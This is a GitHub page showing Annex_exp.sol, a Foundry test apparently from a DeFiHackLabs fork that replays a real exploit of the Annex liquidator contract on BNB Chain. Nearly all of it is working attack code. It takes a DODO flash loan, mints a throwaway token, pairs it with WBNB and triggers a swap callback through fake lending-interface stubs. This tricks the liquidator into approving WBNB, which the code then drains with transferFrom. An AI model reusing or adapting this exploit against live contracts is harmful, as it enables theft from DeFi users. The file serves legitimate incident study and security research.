forked from zhouxianyuan/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Annex_exp.sol
137 lines (118 loc) · 4.45 KB
/
Annex_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/AnciliaInc/status/1593690338526273536
// @TX
// https://bscscan.com/tx/0x3757d177482171dcfad7066c5e88d6f0f0fe74b28f32e41dd77137cad859c777
contract ContractTest is DSTest{
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
IUniswapV2Factory Factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);
address Token;
uint256 WBNBAmount;
address Pair;
address constant dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address constant Liquidator = 0xe65E970F065643bA80E5822edfF483A1d75263E3;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 23165446);
}
function testExploit() public{
MyERC20 MyToken = new MyERC20();
Token = address(MyToken);
MyToken.mint(1_0 * 1e18);
DVM(dodo).flashLoan(8 * 1e18, 0, address(this), new bytes(1));
emit log_named_decimal_uint(
"[End] Attacker WBNB balance after exploit",
WBNB.balanceOf(address(this)),
18
);
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{
IERC20(Token).approve(address(Router), type(uint).max);
WBNB.approve(address(Router), type(uint).max);
Router.addLiquidity(
address(Token),
address(WBNB),
8 * 1e18,
8 * 1e18,
0,
0,
address(this),
block.timestamp + 60
);
Pair = Factory.getPair(Token, address(WBNB));
WBNBAmount = WBNB.balanceOf(Liquidator);
bytes memory data1 = abi.encode(address(this), address(this), address(this));
if(Uni_Pair_V2(Pair).token0() == address(WBNB)){
Uni_Pair_V2(Pair).swap(WBNBAmount, 0, Liquidator, data1);
}else{
Uni_Pair_V2(Pair).swap(0, WBNBAmount, Liquidator, data1);
}
Uni_Pair_V2(Pair).approve(address(Router), type(uint).max);
Router.removeLiquidity(
address(Token),
address(WBNB),
Uni_Pair_V2(Pair).balanceOf(address(this)),
0,
0,
address(this),
block.timestamp + 60
);
WBNB.transferFrom(Liquidator, address(this), WBNB.balanceOf(Liquidator));
WBNB.transfer(dodo, 8 * 1e18);
}
function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external returns (uint){
return 0;
}
function balanceOf(address account) external returns (uint){
return 0;
}
function redeem(uint256 redeemTokens) external returns (uint){
return 0;
}
}
contract MyERC20 {
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
string public name = "Shit Coin";
string public symbol = "Shit";
uint8 public decimals = 18;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function transfer(address recipient, uint amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint amount
) external returns (bool) {
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function mint(uint amount) external {
balanceOf[msg.sender] += amount;
totalSupply += amount;
emit Transfer(address(0), msg.sender, amount);
}
function burn(uint amount) external {
balanceOf[msg.sender] -= amount;
totalSupply -= amount;
emit Transfer(msg.sender, address(0), amount);
}
}